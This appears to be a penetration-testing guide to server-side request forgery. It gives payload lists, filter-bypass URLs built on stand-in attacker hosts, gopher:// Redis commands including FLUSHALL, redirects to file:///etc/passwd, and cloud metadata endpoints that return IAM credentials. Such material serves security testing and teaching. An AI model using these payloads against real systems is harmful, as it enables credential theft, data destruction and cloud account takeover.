SSRF
Sections SSRF
The server makes HTTP requests to URLs you control. From “fetch this URL” features to webhooks, PDF generators, link previews. Almost always escalates to cloud metadata access or internal network reconnaissance.
T=https://target.com
i. Where it lives
Obvious SSRF surfaces:
- “Fetch URL” / “Import from URL” / “Webhook URL”
- Profile picture URL import
- PDF generator that fetches assets (logos, images via URL)
- Open Graph link preview (chat apps, social cards)
- File upload via URL
- “Test this connection” / health check features
- RSS feed importers
- Image proxies (avatar caches)
- SAML / OIDC
client_id/ metadata URL parameters - XML/JSON-LD with
$refor@idfields
Less obvious:
- Hidden in second-order: the URL is stored, used later by a backend processor
- HTTP headers fetched by error tracking systems (referer-based screenshots)
- Webhook test buttons in admin panels
- Logging systems that pull avatars / data from URLs
ii. Quick detection
Set up an OAST listener - interactsh / Burp Collaborator. Then submit your callback URL anywhere a URL is accepted:
interactsh-client
## Use the printed *.oast.live subdomain in payloads
Try in this order:
http://attacker.oast.live/
http://attacker.oast.live:80/
//attacker.oast.live/
attacker.oast.live
file:///etc/passwd ## file scheme
dict://127.0.0.1:6379/info ## dict scheme (Redis)
gopher://127.0.0.1:6379/_INFO ## gopher scheme
http://[::1]/ ## IPv6 localhost
Confirmation: hit on your interactsh listener = SSRF confirmed.
If no hit but the request behaves differently with http://nonexistent.invalid/ vs http://valid-site.com/, the server might be filtering but still resolving - try DNS-only via blind detection.
iii. Tools
SSRFmap
Automated detection and exploitation against a known parameter:
git clone https://github.com/swisskyrepo/SSRFmap
## Save request from Burp with the SSRF param marked (e.g., url=SSRF)
python3 ssrfmap.py -r request.txt -p url -m readfiles
python3 ssrfmap.py -r request.txt -p url -m portscan
python3 ssrfmap.py -r request.txt -p url -m aws ## AWS metadata
python3 ssrfmap.py -r request.txt -p url -m gce ## GCP metadata
python3 ssrfmap.py -r request.txt -p url -m azure ## Azure metadata
Modules: portscan, readfiles, redis, mysql, github, fastcgi, smuggle, custom, etc.
Gopherus
Generates gopher:// payloads for hitting internal services from SSRF:
git clone https://github.com/tarunkant/Gopherus
python3 gopherus.py --exploit redis
python3 gopherus.py --exploit mysql
python3 gopherus.py --exploit smtp
python3 gopherus.py --exploit fastcgi
Outputs a gopher://... URL you paste into the SSRF param.
interactsh / Burp Collaborator
Default OAST for blind SSRF. Use the Collaborator client in Burp or the interactsh-client CLI.
iv. Cloud metadata endpoints (the highest-value target)
Cloud-hosted SSRF almost always escalates to full cloud compromise via metadata. Full coverage in Cloud Recon section viii, but the quick reference:
AWS IMDSv1:
http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>
AWS IMDSv2 (PUT for token, then GET with header - most SSRFs can’t do this):
PUT /latest/api/token HTTP/1.1
X-aws-ec2-metadata-token-ttl-seconds: 21600
## Then:
X-aws-ec2-metadata-token: <token>
GET /latest/meta-data/iam/security-credentials/<role>
Azure (requires Metadata: true header):
http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/
GCP (requires Metadata-Flavor: Google header):
http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token
Kubernetes pods:
https://kubernetes.default.svc/api/
## or:
http://kubernetes.default/
DigitalOcean, Alibaba, Oracle Cloud, Hetzner:
Each has its own metadata endpoint at 169.254.169.254 with different paths. HackTricks has the full table.
If the SSRF allows custom HTTP headers, IMDSv2 / Azure / GCP all work. If it’s a “GET this URL” only, IMDSv1 (when available) or AWS legacy regions.
v. Internal port scanning via SSRF
When you can’t read the response body but can observe timing/error differences:
## Test these via your SSRF:
http://10.0.0.1:80/
http://10.0.0.1:22/
http://10.0.0.1:3306/ ## MySQL
http://10.0.0.1:6379/ ## Redis
http://10.0.0.1:8080/ ## Internal admin
http://127.0.0.1:8080/
http://localhost:8080/
Response differences (status, body length, time) tell you which ports are open. Sweep RFC1918 ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16) plus loopback.
SSRFmap’s portscan module automates this.
vi. URL parser confusion (the bypass goldmine)
The single most important SSRF reading: Orange Tsai’s “A New Era of SSRF” . Different URL parsers handle edge cases differently. The same URL string is parsed as different hosts by validator vs fetcher.
Classic tricks (try ALL of these against any SSRF filter):
http://attacker.com@target.com/ ## authority confusion
http://target.com#@attacker.com/ ## fragment confusion
http://attacker.com\\.target.com/ ## backslash interpretation
http://attacker.com\.target.com/
http://target.com.attacker.com/ ## subdomain takeover
http://127.0.0.1.attacker.com/ ## DNS rebinding setup
http://target.com:80@attacker.com/ ## credentials trick
http://localhost.attacker.com/ ## hosts to localhost via attacker DNS
http://[::ffff:127.0.0.1]/ ## IPv6-mapped IPv4
http://0.0.0.0/ ## binds to all interfaces, often = localhost
http://127.1/ ## short IP
http://127.0.0.1./ ## trailing dot
http://2130706433/ ## decimal IP for 127.0.0.1
http://0x7f.0x0.0x0.0x1/ ## hex IP
http://0177.0000.0000.0001/ ## octal IP
http://localhost%2540attacker.com/ ## double-URL-encoded @
http://attacker.com#.target.com/ ## hash confusion
http:foo:bar@attacker.com:80@target.com/
Each parser library accepts/rejects different ones. Cycle through, see which makes it past.
PayloadsAllTheThings has the canonical list - keep that page open.
vii. DNS rebinding
When the SSRF resolves the URL once for validation (to check it’s not internal), then again for the actual fetch (now resolving to internal), DNS rebinding bypasses host-based allowlists.
## Use rebinding services:
## 7f000001.7f000001.rbndr.us → first resolves to 127.0.0.1
## (rotating DNS responses across requests)
Public rebinding services:
rbndr.us(Mozilla’s tool)nip.io(static, but useful for<ip>.nip.iofor non-rebinding tests)- Self-hosted: cobra rebind, custom Bind/PowerDNS
viii. Protocol smuggling via gopher://
gopher:// lets you send arbitrary bytes to a TCP service. When the SSRF accepts gopher (or libcurl-based fetchers do by default), you can talk to any service.
Gopherus generates the bytes for you:
python3 gopherus.py --exploit redis
## Returns: gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aFLUSHALL%0d%0a*3%0d%0a...
What gopher:// gives you:
- Redis full command execution → SSH key write, webshell deploy (see 02 Service Enum -> Redis)
- MySQL queries (when no auth or weak creds)
- FastCGI direct interface → RCE on PHP backends
- SMTP for sending mail (internal phishing)
- Memcached commands
Modern PHP and Node libraries often disable non-HTTP schemes. cURL accepts them by default unless CURLOPT_PROTOCOLS is set.
ix. Redirect chain abuse
When the SSRF refuses non-HTTP URLs but follows redirects, host a redirector on attacker.com:
attacker.com/redir.php → 302 → file:///etc/passwd
attacker.com/redir.php → 302 → gopher://127.0.0.1:6379/_FLUSHALL
attacker.com/redir.php → 302 → http://169.254.169.254/...
libcurl-based fetchers follow cross-protocol redirects by default. Useful when the SSRF validates the initial URL is HTTP but follows wherever.
x. Tricks worth knowing
Try POST methods
SSRF features often validate URL on submission but the actual fetch might allow methods you don’t expect. Test if you can include a body via a URL parameter (HTTP POST with body via fragment).
Sometimes 0.0.0.0 = localhost
On Linux, binding to 0.0.0.0 includes localhost. Fetcher resolving 0.0.0.0 hits services bound to all interfaces. Lots of internal admin panels listen on 0.0.0.0:8080.
IPv6 surprises
http://[::]:80/ → equivalent to localhost on dual-stack
http://[::1]/ → IPv6 localhost
http://[0:0:0:0:0:ffff:127.0.0.1]/ → IPv4 mapped IPv6
Filter bypass via short host
Some filters check for localhost / 127.0.0.1 as literal strings. Bypass:
127.12130706433(decimal)0x7f000001(hex)017700000001(octal)
Cloud allowlist bypass
The filter rejects 169.254.169.254. Try:
- IPv6 forms above
- Decimal:
2852039166 - Through a rebinding service
- Through a redirect chain
Force second request
If the SSRF fetches one URL then makes a callback elsewhere, write your interactsh URL there too - sometimes two requests fire and the second uses different auth/permissions.
Use the SSRF for content exfil
When the SSRF accepts file:// or php:// wrappers, read sensitive files (/etc/passwd, app configs, source code) and reflect them back via response body.
XXE → SSRF
Every XXE is also an SSRF, see WEB07 XXE . Use XXE when direct URL input is filtered but XML is parsed.
xi. References
- PortSwigger - SSRF
- PortSwigger - SSRF labs
- Orange Tsai - URL Parser Bypasses - required reading
- PayloadsAllTheThings - SSRF
- HackTricks - SSRF
- Gopherus
- SSRFmap
xii. Where it leads
- Cloud metadata → IAM creds → full account takeover, see AWS / Azure / GCP
- Internal Redis → SSH key write, webshell deploy → host RCE, see 02 Service Enum
- Internal admin panels exposed only on RFC1918 → privesc on the app
- Internal SMTP → phishing from internal address (high credibility)
- Internal Kubernetes API → cluster takeover
- Read sensitive files via file:// → creds harvesting, see 11 PrivEsc - Credentials & Files
SSRF on a cloud-hosted target is essentially RCE-equivalent because the IAM creds it leaks usually have enough access for an attacker to deploy compute / read storage / pivot anywhere.